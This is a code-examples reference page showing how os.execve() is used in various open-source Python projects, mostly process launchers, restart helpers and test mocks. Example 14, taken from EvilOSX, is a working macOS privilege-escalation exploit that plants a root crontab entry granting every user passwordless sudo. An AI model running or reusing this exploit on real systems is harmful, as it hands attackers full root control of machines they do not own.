Python os.execve() Examples

The following are code examples for showing how to use os.execve(). They are extracted from open source Python projects. You can vote up the examples you like or vote down the exmaples you don't like. You can also save this page to your account.

Example 1
Project: enjoliver   Author: JulienBalestra   File: kvm_player.py    (license) View Source Project 6 votes vote down vote up
def process_target_lldpd():
        cmd = [
            "%s" % KernelVirtualMachinePlayer.rkt_bin,
            "--local-config=%s" % KernelVirtualMachinePlayer.tests_path,
            "run",
            KernelVirtualMachinePlayer.ec.lldp_image_url,
            "--insecure-options=all",
            "--net=host",
            "--interactive",
            "--set-env=TERM=%s" % os.getenv("TERM", "xterm"),
            "--exec",
            "/usr/sbin/lldpd",
            "--",
            "-dd"]
        display("PID  -> %s\n"
                "exec -> %s" % (os.getpid(), " ".join(cmd)))
        sys.stdout.flush()
        os.execve(cmd[0], cmd, os.environ)
        os._exit(2)  # Should not happen 
Example 2
Project: enjoliver   Author: JulienBalestra   File: manage.py    (license) View Source Project 6 votes vote down vote up
def matchbox(ec):
    cmd = [
        "%s/runtime/matchbox/matchbox" % PROJECT_PATH,
        "-address",
        ec.matchbox_uri.replace("https://", "").replace("http://", ""),
        "-assets-path",
        "%s" % ec.matchbox_assets,
        "-data-path",
        "%s" % ec.matchbox_path,
        "-log-level",
        ec.matchbox_logging_level.lower(),
    ]
    print("exec[%s] -> %s\n" % (os.getpid(), " ".join(cmd)))
    with open(ec.matchbox_pid_file, "w") as f:
        f.write("%d" % os.getpid())
    os.execve(cmd[0], cmd, os.environ) 
Example 3
Project: kyber   Author: TakumiHQ   File: shell.py    (license) View Source Project 6 votes vote down vote up
def run(name, shell):
    for pod in Pod.objects(kube_api).filter(selector={'app': name}).iterator():
        if pod.ready:  # use the first ready pod, otherwise we use the last pod
            break

    def env_vars():
        d = {
            'KYBER_USER': pwd.getpwuid(os.getuid()).pw_name,
            'KYBER_POD': pod.name,
            'KYBER_APP': name,
            'KYBER_KUBECTL_CONTEXT': kube_api.config.current_context,
        }
        return " ".join(["{}={}".format(key, val) for key, val in d.iteritems()])

    cmd = '{env} {shell}'.format(env=env_vars(), shell=shell)

    click.echo("Running shell in pod `{}` in kube ctx `{}`".format(
               pod.name, kube_api.config.current_context))
    os.execve(
        get_executable_path('kubectl'),
        ["kubectl", "exec", "-i", "-t", pod.name, '--', shell, '-c', cmd],
        os.environ
    ) 
Example 4
Project: kyber   Author: TakumiHQ   File: dash.py    (license) View Source Project 6 votes vote down vote up
def launch(cfg=None, executor=None):
    if cfg is None:
        from kyber.lib.kube import kube_api
        cfg = kube_api.config
    if executor is None:
        executor = os.execve

    try:
        context = Context()
        click.echo("Opening dashboard for `{}` in `{}`".format(context.name, cfg.namespace))
        url = service_dashboard(cfg, context.name)
    except ContextError:  # fall back to opening the kubernetes dashboard
        click.echo("Not in a kyber context, showing dash for k8s pods in `{}`".format(cfg.namespace))
        url = namespace_dashboard(cfg)

    try:
        executor(get_executable_path('open'), ["open", url], os.environ)
    except Exception as e:
        click.echo("Unable to launch dashboard automatically ({})".format(e.message))
        click.echo("URL: {}".format(url)) 
Example 5
Project: dango.py   Author: khazhyk   File: debug.py    (license) View Source Project 6 votes vote down vote up
def update_and_restart(self, ctx):
        await ctx.message.add_reaction("a:loading:393852367751086090")
        await utils.run_subprocess("git pull --rebase")
        await utils.run_subprocess("python -m pip install --upgrade -r requirements.txt")
        await ctx.message.remove_reaction("a:loading:393852367751086090", ctx.me)
        await ctx.message.add_reaction(":helYea:236243426662678528")
        log.info("Restarting due to update_and_restart")
        os.execve(sys.executable, ['python', '-m', 'dango'], os.environ) 
Example 6
Project: substance   Author: turbulent   File: unison.py    (license) View Source Project 6 votes vote down vote up
def start(self, direction, path=''):
        self.ensureKeyPerms()
        unisonPath = self.getUnisonBin()
        unisonArgs = self.getUnisonArgs(direction, path)
        unisonEnv = self.getUnisonEnv()
        if self.ignoreArchives:
            # It seems that in certain cases, unison does not observe the -ignorearchives flag correctly
            # So to make sure, we forcibly delete previous archives on both sides
            res = Try.sequence([
                # Delete host archives
                Shell.call(["rm", "-rf", unisonEnv['UNISON']], shell=False),
                # Delete guest archives
                self.engine.readLink().bind(Link.runCommand, 'rm -rf /substance/.unison')
            ])
            if res.isFail():
                return res
        logger.info("Syncing local directory %s to remote directory %s", unisonArgs[-2], unisonArgs[-1])
        logger.debug("EXEC: %s", Shell.stringify([unisonPath] + unisonArgs, unisonEnv))
        os.execve(unisonPath, unisonArgs, unisonEnv) 
Example 7
Project: mechanic   Author: server-mechanic   File: follow_up_command_executor.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def __init__(self, config):
    self.config = config
    self.execve = os.execve 
Example 8
Project: mechanic   Author: server-mechanic   File: follow_up_command_executor.py    (GNU General Public License v3.0) View Source Project 5 votes vote down vote up
def executeFollowUpCommand(self, followUpCommand):
    try:
      exitCode = self.execve(followUpCommand[0], followUpCommand, os.environ)
      if exitCode != 0:
        raise FollowUpCommandFailedException("Follow up command failed with exit code %s." % exitCode )
    except Exception as e:
      raise FollowUpCommandFailedException("Follow up command failed. %s" % e.message) 
Example 9
Project: spichi   Author: ifkite   File: autoreload.py    (license) View Source Project 5 votes vote down vote up
def restart_reloader():
    while True:
        args = [sys.executable] + sys.argv
        child_environ = os.environ.copy()
        pid = os.fork()

        # child process
        if not pid:
            child_environ["RUN_MAIN"] = "true"
            # may exit with FILE_CHANGED code
            # in fact, call itself
            os.execve(sys.executable, args, child_environ)

        # parent process
        else:
            signal_code = wait_child(pid)
            handle_child_exit(signal_code)


# sample
# from wsgiref.simple_server import make_server
# def run():
#     httpd = make_server(host='', port=8848, app=app)
#     httpd.serve_forever()
# if __name__ == '__main__':
#     autoreload(run) 
Example 10
Project: zippy   Author: securesystemslab   File: test_os.py    (license) View Source Project 5 votes vote down vote up
def _execvpe_mockup(defpath=None):
    """
    Stubs out execv and execve functions when used as context manager.
    Records exec calls. The mock execv and execve functions always raise an
    exception as they would normally never return.
    """
    # A list of tuples containing (function name, first arg, args)
    # of calls to execv or execve that have been made.
    calls = []

    def mock_execv(name, *args):
        calls.append(('execv', name, args))
        raise RuntimeError("execv called")

    def mock_execve(name, *args):
        calls.append(('execve', name, args))
        raise OSError(errno.ENOTDIR, "execve called")

    try:
        orig_execv = os.execv
        orig_execve = os.execve
        orig_defpath = os.defpath
        os.execv = mock_execv
        os.execve = mock_execve
        if defpath is not None:
            os.defpath = defpath
        yield calls
    finally:
        os.execv = orig_execv
        os.execve = orig_execve
        os.defpath = orig_defpath 
Example 11
Project: specto   Author: mrknow   File: pydev_monkey.py    (license) View Source Project 5 votes vote down vote up
def create_execve(original_name):
    """
    os.execve(path, args, env)
    os.execvpe(file, args, env)
    """
    def new_execve(path, args, env):
        import os
        send_process_created_message()
        return getattr(os, original_name)(path, patch_args(args), env)
    return new_execve 
Example 12
Project: specto   Author: mrknow   File: pydev_monkey.py    (license) View Source Project 5 votes vote down vote up
def patch_new_process_functions_with_warning():
    monkey_patch_os('execl', create_warn_multiproc)
    monkey_patch_os('execle', create_warn_multiproc)
    monkey_patch_os('execlp', create_warn_multiproc)
    monkey_patch_os('execlpe', create_warn_multiproc)
    monkey_patch_os('execv', create_warn_multiproc)
    monkey_patch_os('execve', create_warn_multiproc)
    monkey_patch_os('execvp', create_warn_multiproc)
    monkey_patch_os('execvpe', create_warn_multiproc)
    monkey_patch_os('spawnl', create_warn_multiproc)
    monkey_patch_os('spawnle', create_warn_multiproc)
    monkey_patch_os('spawnlp', create_warn_multiproc)
    monkey_patch_os('spawnlpe', create_warn_multiproc)
    monkey_patch_os('spawnv', create_warn_multiproc)
    monkey_patch_os('spawnve', create_warn_multiproc)
    monkey_patch_os('spawnvp', create_warn_multiproc)
    monkey_patch_os('spawnvpe', create_warn_multiproc)

    if sys.platform != 'win32':
        monkey_patch_os('fork', create_warn_multiproc)
        try:
            import _posixsubprocess
            monkey_patch_module(_posixsubprocess, 'fork_exec', create_warn_fork_exec)
        except ImportError:
            pass
    else:
        # Windows
        try:
            import _subprocess
        except ImportError:
            import _winapi as _subprocess
        monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcessWarnMultiproc) 
Example 13
Project: web_ctp   Author: molebot   File: test_os.py    (license) View Source Project 5 votes vote down vote up
def _execvpe_mockup(defpath=None):
    """
    Stubs out execv and execve functions when used as context manager.
    Records exec calls. The mock execv and execve functions always raise an
    exception as they would normally never return.
    """
    # A list of tuples containing (function name, first arg, args)
    # of calls to execv or execve that have been made.
    calls = []

    def mock_execv(name, *args):
        calls.append(('execv', name, args))
        raise RuntimeError("execv called")

    def mock_execve(name, *args):
        calls.append(('execve', name, args))
        raise OSError(errno.ENOTDIR, "execve called")

    try:
        orig_execv = os.execv
        orig_execve = os.execve
        orig_defpath = os.defpath
        os.execv = mock_execv
        os.execve = mock_execve
        if defpath is not None:
            os.defpath = defpath
        yield calls
    finally:
        os.execv = orig_execv
        os.execve = orig_execve
        os.defpath = orig_defpath 
Example 14
Project: EvilOSX   Author: Marten4n6   File: LPE_10-10-5.py    (license) View Source Project 5 votes vote down vote up
def get_root():
    env = {}
    old_size = os.stat("/etc/sudoers").st_size

    env['MallocLogFile'] = '/etc/crontab'
    env['MallocStackLogging'] = 'yes'
    env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

    print "Creating /etc/crontab..."

    p = os.fork()
    if p == 0:
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

    time.sleep(1)

    if "NOPASSWD" not in open("/etc/crontab").read():
        print "FAILED!"
        exit(-1)

    print "Done, waiting for /etc/sudoers to update..."

    while os.stat("/etc/sudoers").st_size == old_size:
        time.sleep(1)

    print "Exploit completed."
    os.system("sudo rm -rf /etc/crontab")
    exit() 
Example 15
Project: ouroboros   Author: pybee   File: test_os.py    (license) View Source Project 5 votes vote down vote up
def _execvpe_mockup(defpath=None):
    """
    Stubs out execv and execve functions when used as context manager.
    Records exec calls. The mock execv and execve functions always raise an
    exception as they would normally never return.
    """
    # A list of tuples containing (function name, first arg, args)
    # of calls to execv or execve that have been made.
    calls = []

    def mock_execv(name, *args):
        calls.append(('execv', name, args))
        raise RuntimeError("execv called")

    def mock_execve(name, *args):
        calls.append(('execve', name, args))
        raise OSError(errno.ENOTDIR, "execve called")

    try:
        orig_execv = os.execv
        orig_execve = os.execve
        orig_defpath = os.defpath
        os.execv = mock_execv
        os.execve = mock_execve
        if defpath is not None:
            os.defpath = defpath
        yield calls
    finally:
        os.execv = orig_execv
        os.execve = orig_execve
        os.defpath = orig_defpath 
Example 16
Project: enjoliver   Author: JulienBalestra   File: test_api_gunicorn_scheduler.py    (license) View Source Project 5 votes vote down vote up
def process_target_matchbox():
        os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestAPIGunicornScheduler.test_matchbox_path
        os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestAPIGunicornScheduler.assets_path
        cmd = [
            "%s" % sys.executable,
            "%s/manage.py" % TestAPIGunicornScheduler.project_path,
            "matchbox"
        ]
        print("PID  -> %s\n"
              "exec -> %s\n" % (
                  os.getpid(), " ".join(cmd)))
        sys.stdout.flush()
        os.execve(cmd[0], cmd, os.environ) 
Example 17
Project: enjoliver   Author: JulienBalestra   File: test_api_gunicorn_scheduler.py    (license) View Source Project 5 votes vote down vote up
def process_target_api():
        cmd = [
            "%s" % sys.executable,
            "%s/manage.py" % TestAPIGunicornScheduler.project_path,
            "gunicorn"
        ]
        os.execve(cmd[0], cmd, os.environ) 
Example 18
Project: enjoliver   Author: JulienBalestra   File: test_cockroach.py    (license) View Source Project 5 votes vote down vote up
def process_target_matchbox():
        os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestEnjoliverCockroach.test_matchbox_path
        os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestEnjoliverCockroach.assets_path

        cmd = [
            "%s" % sys.executable,
            "%s/manage.py" % TestEnjoliverCockroach.project_path,
            "matchbox"
        ]
        print("PID  -> %s\n"
              "exec -> %s\n" % (
                  os.getpid(), " ".join(cmd)))
        os.execve(cmd[0], cmd, os.environ) 
Example 19
Project: enjoliver   Author: JulienBalestra   File: test_cockroach.py    (license) View Source Project 5 votes vote down vote up
def process_target_api():
        os.environ["ENJOLIVER_DB_URI"] = EC.db_uri
        os.environ["ENJOLIVER_API_URI"] = EC.api_uri
        os.environ["ENJOLIVER_GUNICORN_WORKERS"] = "3"
        os.environ["ENJOLIVER_LOGGING_LEVEL"] = "INFO"
        cmd = [
            "%s/manage.py" % TestEnjoliverCockroach.project_path,
            "gunicorn"
        ]
        os.execve(cmd[0], cmd, os.environ) 
Example 20
Project: enjoliver   Author: JulienBalestra   File: test_api_gunicorn.py    (license) View Source Project 5 votes vote down vote up
def process_target_matchbox():
        os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestAPIGunicorn.test_matchbox_path
        os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestAPIGunicorn.assets_path
        cmd = [
            "%s" % sys.executable,
            "%s/manage.py" % TestAPIGunicorn.project_path,
            "matchbox"
        ]
        print("PID  -> %s\n"
              "exec -> %s\n" % (
                  os.getpid(), " ".join(cmd)))
        sys.stdout.flush()
        os.execve(cmd[0], cmd, os.environ) 
Example 21
Project: enjoliver   Author: JulienBalestra   File: test_matchbox.py    (license) View Source Project 5 votes vote down vote up
def process_target():
        os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestBootConfigCommon.test_matchbox_path
        os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestBootConfigCommon.assets_path
        cmd = [
            "%s" % sys.executable,
            "%s/manage.py" % TestBootConfigCommon.project_path,
            "matchbox"
        ]
        print("PID  -> %s\n"
              "exec -> %s\n" % (
                  os.getpid(), " ".join(cmd)))
        sys.stdout.flush()
        os.execve(cmd[0], cmd, os.environ) 
Example 22
Project: enjoliver   Author: JulienBalestra   File: test_api_simple.py    (license) View Source Project 5 votes vote down vote up
def process_target_matchbox():
        os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestAPI.test_matchbox_path
        os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestAPI.assets_path
        cmd = [
            "%s" % sys.executable,
            "%s/manage.py" % TestAPI.project_path,
            "matchbox",
        ]
        print("PID  -> %s\n"
              "exec -> %s\n" % (
                  os.getpid(), " ".join(cmd)))
        sys.stdout.flush()
        os.execve(cmd[0], cmd, os.environ) 
Example 23
Project: enjoliver   Author: JulienBalestra   File: kvm_player.py    (license) View Source Project 5 votes vote down vote up
def process_target_matchbox():
        os.environ["MATCHBOX_PATH"] = KernelVirtualMachinePlayer.test_matchbox_path
        cmd = [
            "%s" % sys.executable,
            "%s/manage.py" % KernelVirtualMachinePlayer.project_path,
            "matchbox",
        ]
        display("PID  -> %s\n"
                "exec -> %s" % (os.getpid(), " ".join(cmd)))
        sys.stdout.flush()
        os.environ["TERM"] = "xterm"
        os.execve(cmd[0], cmd, os.environ) 
Example 24
Project: enjoliver   Author: JulienBalestra   File: kvm_player.py    (license) View Source Project 5 votes vote down vote up
def process_target_acserver():
        cmd = [
            "%s" % KernelVirtualMachinePlayer.acserver_bin,
        ]
        display("PID  -> %s\n"
                "exec -> %s" % (os.getpid(), " ".join(cmd)))
        sys.stdout.flush()
        os.environ["TERM"] = "xterm"
        os.execve(cmd[0], cmd, os.environ) 
Example 25
Project: enjoliver   Author: JulienBalestra   File: kvm_player.py    (license) View Source Project 5 votes vote down vote up
def process_target_api():
        os.environ["ENJOLIVER_DB_PATH"] = "%s/enjoliver.sqlite" % KernelVirtualMachinePlayer.euid_path
        os.environ["ENJOLIVER_IGNITION_JOURNAL_DIR"] = "%s/ignition_journal" % KernelVirtualMachinePlayer.euid_path

        try:
            os.remove(os.environ["ENJOLIVER_DB_PATH"])
        except OSError:
            pass

        shutil.rmtree(os.environ["ENJOLIVER_IGNITION_JOURNAL_DIR"], ignore_errors=True)

        try:
            with open("%s/.config/enjoliver/config.json" % os.getenv("HOME")) as f:
                conf = json.load(f)
                os.environ["ENJOLIVER_AWS_ACCESS_KEY_ID"] = conf["AWS_ACCESS_KEY_ID"]
                os.environ["ENJOLIVER_AWS_SECRET_ACCESS_KEY"] = conf["AWS_SECRET_ACCESS_KEY"]
        except (IOError, ValueError):
            pass

        os.environ["ENJOLIVER_BACKUP_BUCKET_NAME"] = "bbcenjoliver-dev"
        os.environ["ENJOLIVER_SYNC_NOTIFY_TTL"] = "0"
        cmd = [
            "%s" % sys.executable,
            "%s/manage.py" % KernelVirtualMachinePlayer.project_path,
            "gunicorn",
        ]
        display("PID  -> %s\n"
                "exec -> %s" % (os.getpid(), " ".join(cmd)))
        os.execve(cmd[0], cmd, os.environ) 
Example 26
Project: enjoliver   Author: JulienBalestra   File: kvm_player.py    (license) View Source Project 5 votes vote down vote up
def kubectl_proxy(self, proxy_port: int):
        def run():
            cmd = [
                "%s/hyperkube/hyperkube" % self.project_path,
                "kubectl",
                "--kubeconfig",
                os.path.join(self.tests_path, "testing_kubeconfig.yaml"),
                "proxy",
                "-p",
                "%d" % proxy_port
            ]
            display("-> %s" % " ".join(cmd))
            os.execve(cmd[0], cmd, os.environ)

        return run 
Example 27
Project: enjoliver   Author: JulienBalestra   File: manage.py    (license) View Source Project 5 votes vote down vote up
def gunicorn(ec):
    cmd = [
        "%s/env/bin/gunicorn" % PROJECT_PATH,
        "--chdir",
        APP_PATH,
        "api:application",
        "--worker-class",
        ec.gunicorn_worker_type,
        "-b",
        ec.gunicorn_bind,
        "--log-level",
        ec.logging_level.lower(),
        "-w",
        "%s" % ec.gunicorn_workers,
        "-c",
        gunicorn_conf.__file__
    ]
    if not os.getenv('prometheus_multiproc_dir', None):
        os.environ["prometheus_multiproc_dir"] = ec.prometheus_multiproc_dir
    fs_gunicorn_cleaning()

    p = multiprocessing.Process(target=lambda: os.execve(cmd[0], cmd, os.environ))

    def stop(signum, frame):
        print("terminating %d" % p.pid)
        p.terminate()

    print("starting gunicorn: %s" % " ".join(cmd))
    p.start()
    with open(ec.gunicorn_pid_file, "w") as f:
        f.write("%d" % p.pid)
    for sig in [signal.SIGINT, signal.SIGTERM]:
        signal.signal(sig, stop)
    p.join()
    fs_gunicorn_cleaning() 
Example 28
Project: enjoliver   Author: JulienBalestra   File: manage.py    (license) View Source Project 5 votes vote down vote up
def plan(ec):
    cmd = [
        PYTHON,
        "%s/plans/k8s_2t.py" % APP_PATH,
    ]
    print("exec[%s] -> %s\n" % (os.getpid(), " ".join(cmd)))
    with open(ec.plan_pid_file, "w") as f:
        f.write("%d" % os.getpid())
    os.execve(cmd[0], cmd, os.environ) 
Example 29
Project: rwt   Author: jaraco   File: launch.py    (license) View Source Project 5 votes vote down vote up
def with_path_overlay(target, params):
	"""
	Overlay Python with target on the path and params
	"""
	cmd = [sys.executable] + params
	os.execve(sys.executable, cmd, _setup_env(target)) 
Example 30
Project: kbe_server   Author: xiaohaoppy   File: test_os.py    (license) View Source Project 5 votes vote down vote up
def _execvpe_mockup(defpath=None):
    """
    Stubs out execv and execve functions when used as context manager.
    Records exec calls. The mock execv and execve functions always raise an
    exception as they would normally never return.
    """
    # A list of tuples containing (function name, first arg, args)
    # of calls to execv or execve that have been made.
    calls = []

    def mock_execv(name, *args):
        calls.append(('execv', name, args))
        raise RuntimeError("execv called")

    def mock_execve(name, *args):
        calls.append(('execve', name, args))
        raise OSError(errno.ENOTDIR, "execve called")

    try:
        orig_execv = os.execv
        orig_execve = os.execve
        orig_defpath = os.defpath
        os.execv = mock_execv
        os.execve = mock_execve
        if defpath is not None:
            os.defpath = defpath
        yield calls
    finally:
        os.execv = orig_execv
        os.execve = orig_execve
        os.defpath = orig_defpath 
Example 31
Project: dango.py   Author: khazhyk   File: debug.py    (license) View Source Project 5 votes vote down vote up
def restart(self, ctx):
        await ctx.message.add_reaction(":helYea:236243426662678528")
        os.execve(sys.executable, ['python', '-m', 'dango'], os.environ) 
Example 32
Project: pipless   Author: d0c-s4vage   File: __init__.py    (license) View Source Project 4 votes vote down vote up
def activate(self):
        """Activate the virtual environment.
        
        This actually restarts the pipless script using `os.execve()` to
        replace itself with a subprocess that uses the correct python binary
        from the venv/bin directory with the correct environment variables.
        """
        if self.no_venv:
            self._debug("no_venv was set, not activating")
            return

        new_environ = dict(os.environ)
        new_environ["PATH"] = os.path.join(self.venv_home, "bin") + ":" + new_environ["PATH"]
        new_environ["VIRTUAL_ENV"] = os.path.abspath(self.venv_home)
        new_environ["_"] = os.path.join(self.venv_home, "bin", "python")

        self._debug("replacing current process with new python in new env from venv")
        self._debug("venv found at {!r}".format(self.venv_home))
        venv_python_path = os.path.join(self.venv_home, "bin", "python")

        new_args = [
            venv_python_path,
            "-m", "pipless",
            "--no-venv",

            # even though we say to not use the venv, this is still
            # used to determine where to save the requirements.txt file
            "--venv", self.venv_home
        ]
        if self.debug:
            new_args.append("--debug")
        if self.quiet:
            new_args.append("--quiet")
        if self.no_requirements:
            new_args.append("--no-requirements")
        if self.venv_clear:
            new_args.append("--clear")
        if self._should_color():
            new_args.append("--color")
        if self.venv_system_site_packages:
            new_args.append("--system-site-packages")
        if self.venv_python is not None:
            new_args.append("--python")
            new_args.append(self.venv_python)

        if self.python_opts.get("module", None) is not None:
            new_args.append("-m")
            new_args.append(self.python_opts.get("module"))
        if self.python_opts.get("cmd", None) is not None:
            new_args.append("-c")
            new_args.append(self.python_opts.get("cmd"))

        os.execve(
            venv_python_path,
            new_args + sys.argv,
            new_environ
        ) 
Example 33
Project: pychimera   Author: insilichem   File: core.py    (license) View Source Project 4 votes vote down vote up
def patch_environ(nogui=True):
    """
    Patch current environment variables so Chimera can start up and we can import its modules.

    Be warned that calling this function WILL restart your interpreter. Otherwise, Python
    won't catch the new LD_LIBRARY_PATH (or platform equivalent) and Chimera won't find its
    libraries during import.

    Parameters
    ----------
    nogui : bool, optional, default=False
        If the GUI is not going to be launched, try to locate a headless
        Chimera build to enable inline Chimera visualization.
    """
    if 'CHIMERA' in os.environ:
        return

    paths = guess_chimera_path(search_all=nogui)
    CHIMERA_BASE = paths[0]
    if nogui:  # try finding a headless version
        try:
            CHIMERA_BASE = next(p for p in paths if 'headless' in p)
        except StopIteration:
            pass

    os.environ['CHIMERA'] = CHIMERA_BASE
    CHIMERA_LIB = os.path.join(CHIMERA_BASE, 'lib')

    # Set Tcl/Tk for gui mode
    if 'TCL_LIBRARY' in os.environ:
        os.environ['CHIMERA_TCL_LIBRARY'] = os.environ['TCL_LIBRARY']
    os.environ['TCL_LIBRARY'] = os.path.join(CHIMERA_LIB, 'tcl8.6')

    if 'TCLLIBPATH' in os.environ:
        os.environ['CHIMERA_TCLLIBPATH'] = os.environ['TCLLIBPATH']
    os.environ['TCLLIBPATH'] = '{' + CHIMERA_LIB + '}'

    if 'TK_LIBRARY' in os.environ:
        os.environ['CHIMERA_TK_LIBRARY'] = os.environ['TK_LIBRARY']
        del os.environ['TK_LIBRARY']

    if 'TIX_LIBRARY' in os.environ:
        os.environ['CHIMERA_TIX_LIBRARY'] = os.environ['TIX_LIBRARY']
        del os.environ['TIX_LIBRARY']

    if 'PYTHONNOUSERSITE' in os.environ:
        os.environ['CHIMERA_PYTHONNOUSERSITE'] = os.environ['PYTHONNOUSERSITE']
    os.environ['PYTHONNOUSERSITE'] = '1'

    # Check interactive and IPython
    if in_ipython() and hasattr(sys, 'ps1') and not sys.argv[0].endswith('ipython'):
        sys.argv.insert(1, 'ipython')

    # Platform-specific patches
    patch_environ_for_platform(CHIMERA_BASE, CHIMERA_LIB, nogui=nogui)
    os.execve(sys.executable, [sys.executable] + sys.argv, os.environ) 
Example 34
Project: zippy   Author: securesystemslab   File: test_os.py    (license) View Source Project 4 votes vote down vote up
def _test_internal_execvpe(self, test_type):
        program_path = os.sep + 'absolutepath'
        if test_type is bytes:
            program = b'executable'
            fullpath = os.path.join(os.fsencode(program_path), program)
            native_fullpath = fullpath
            arguments = [b'progname', 'arg1', 'arg2']
        else:
            program = 'executable'
            arguments = ['progname', 'arg1', 'arg2']
            fullpath = os.path.join(program_path, program)
            if os.name != "nt":
                native_fullpath = os.fsencode(fullpath)
            else:
                native_fullpath = fullpath
        env = {'spam': 'beans'}

        # test os._execvpe() with an absolute path
        with _execvpe_mockup() as calls:
            self.assertRaises(RuntimeError,
                os._execvpe, fullpath, arguments)
            self.assertEqual(len(calls), 1)
            self.assertEqual(calls[0], ('execv', fullpath, (arguments,)))

        # test os._execvpe() with a relative path:
        # os.get_exec_path() returns defpath
        with _execvpe_mockup(defpath=program_path) as calls:
            self.assertRaises(OSError,
                os._execvpe, program, arguments, env=env)
            self.assertEqual(len(calls), 1)
            self.assertSequenceEqual(calls[0],
                ('execve', native_fullpath, (arguments, env)))

        # test os._execvpe() with a relative path:
        # os.get_exec_path() reads the 'PATH' variable
        with _execvpe_mockup() as calls:
            env_path = env.copy()
            if test_type is bytes:
                env_path[b'PATH'] = program_path
            else:
                env_path['PATH'] = program_path
            self.assertRaises(OSError,
                os._execvpe, program, arguments, env=env_path)
            self.assertEqual(len(calls), 1)
            self.assertSequenceEqual(calls[0],
                ('execve', native_fullpath, (arguments, env_path))) 
Example 35
Project: specto   Author: mrknow   File: pydev_monkey.py    (license) View Source Project 4 votes vote down vote up
def patch_new_process_functions():
    # os.execl(path, arg0, arg1, ...)
    # os.execle(path, arg0, arg1, ..., env)
    # os.execlp(file, arg0, arg1, ...)
    # os.execlpe(file, arg0, arg1, ..., env)
    # os.execv(path, args)
    # os.execve(path, args, env)
    # os.execvp(file, args)
    # os.execvpe(file, args, env)
    monkey_patch_os('execl', create_execl)
    monkey_patch_os('execle', create_execl)
    monkey_patch_os('execlp', create_execl)
    monkey_patch_os('execlpe', create_execl)
    monkey_patch_os('execv', create_execv)
    monkey_patch_os('execve', create_execve)
    monkey_patch_os('execvp', create_execv)
    monkey_patch_os('execvpe', create_execve)

    # os.spawnl(mode, path, ...)
    # os.spawnle(mode, path, ..., env)
    # os.spawnlp(mode, file, ...)
    # os.spawnlpe(mode, file, ..., env)
    # os.spawnv(mode, path, args)
    # os.spawnve(mode, path, args, env)
    # os.spawnvp(mode, file, args)
    # os.spawnvpe(mode, file, args, env)

    monkey_patch_os('spawnl', create_spawnl)
    monkey_patch_os('spawnle', create_spawnl)
    monkey_patch_os('spawnlp', create_spawnl)
    monkey_patch_os('spawnlpe', create_spawnl)
    monkey_patch_os('spawnv', create_spawnv)
    monkey_patch_os('spawnve', create_spawnve)
    monkey_patch_os('spawnvp', create_spawnv)
    monkey_patch_os('spawnvpe', create_spawnve)

    if sys.platform != 'win32':
        monkey_patch_os('fork', create_fork)
        try:
            import _posixsubprocess
            monkey_patch_module(_posixsubprocess, 'fork_exec', create_fork_exec)
        except ImportError:
            pass
    else:
        # Windows
        try:
            import _subprocess
        except ImportError:
            import _winapi as _subprocess
        monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcess) 
Example 36
Project: invenio1-orcid   Author: bronger   File: webserver.py    (license) View Source Project 4 votes vote down vote up
def spawn_daemon(path_to_executable, env, *args):
    """Spawns a completely detached subprocess (i.e., a daemon).  Taken from
    http://stackoverflow.com/questions/972362/spawning-process-from-python
    which in turn was inspired by
    <http://code.activestate.com/recipes/278731/>.

    :Parameters:
      - `path_to_executable`: absolute path to the executable to be run
        detatched
      - `env`: environment
      - `args`: all arguments to be passed to the subprocess

    :type path_to_executable: str
    :type env: dict mapping str to str
    :type args: list of str
    """
    try:
        pid = os.fork()
    except OSError, e:
        raise RuntimeError("1st fork failed: %s [%d]" % (e.strerror, e.errno))
    if pid != 0:
        os.waitpid(pid, 0)
        return
    os.setsid()
    try:
        pid = os.fork()
    except OSError, e:
        raise RuntimeError("2nd fork failed: %s [%d]" % (e.strerror, e.errno))
    if pid != 0:
        os._exit(0)
    try:
        maxfd = os.sysconf(b"SC_OPEN_MAX")
    except (AttributeError, ValueError):
        maxfd = 1024
    for fd in range(maxfd):
        try:
           os.close(fd)
        except OSError:
           pass
    os.open(os.devnull, os.O_RDWR)
    os.dup2(0, 1)
    os.dup2(0, 2)
    try:
        os.execve(path_to_executable, [path_to_executable] + list(filter(lambda arg: arg is not None, args)), env)
    except:
        os._exit(255) 
Example 37
Project: web_ctp   Author: molebot   File: test_os.py    (license) View Source Project 4 votes vote down vote up
def _test_internal_execvpe(self, test_type):
        program_path = os.sep + 'absolutepath'
        if test_type is bytes:
            program = b'executable'
            fullpath = os.path.join(os.fsencode(program_path), program)
            native_fullpath = fullpath
            arguments = [b'progname', 'arg1', 'arg2']
        else:
            program = 'executable'
            arguments = ['progname', 'arg1', 'arg2']
            fullpath = os.path.join(program_path, program)
            if os.name != "nt":
                native_fullpath = os.fsencode(fullpath)
            else:
                native_fullpath = fullpath
        env = {'spam': 'beans'}

        # test os._execvpe() with an absolute path
        with _execvpe_mockup() as calls:
            self.assertRaises(RuntimeError,
                os._execvpe, fullpath, arguments)
            self.assertEqual(len(calls), 1)
            self.assertEqual(calls[0], ('execv', fullpath, (arguments,)))

        # test os._execvpe() with a relative path:
        # os.get_exec_path() returns defpath
        with _execvpe_mockup(defpath=program_path) as calls:
            self.assertRaises(OSError,
                os._execvpe, program, arguments, env=env)
            self.assertEqual(len(calls), 1)
            self.assertSequenceEqual(calls[0],
                ('execve', native_fullpath, (arguments, env)))

        # test os._execvpe() with a relative path:
        # os.get_exec_path() reads the 'PATH' variable
        with _execvpe_mockup() as calls:
            env_path = env.copy()
            if test_type is bytes:
                env_path[b'PATH'] = program_path
            else:
                env_path['PATH'] = program_path
            self.assertRaises(OSError,
                os._execvpe, program, arguments, env=env_path)
            self.assertEqual(len(calls), 1)
            self.assertSequenceEqual(calls[0],
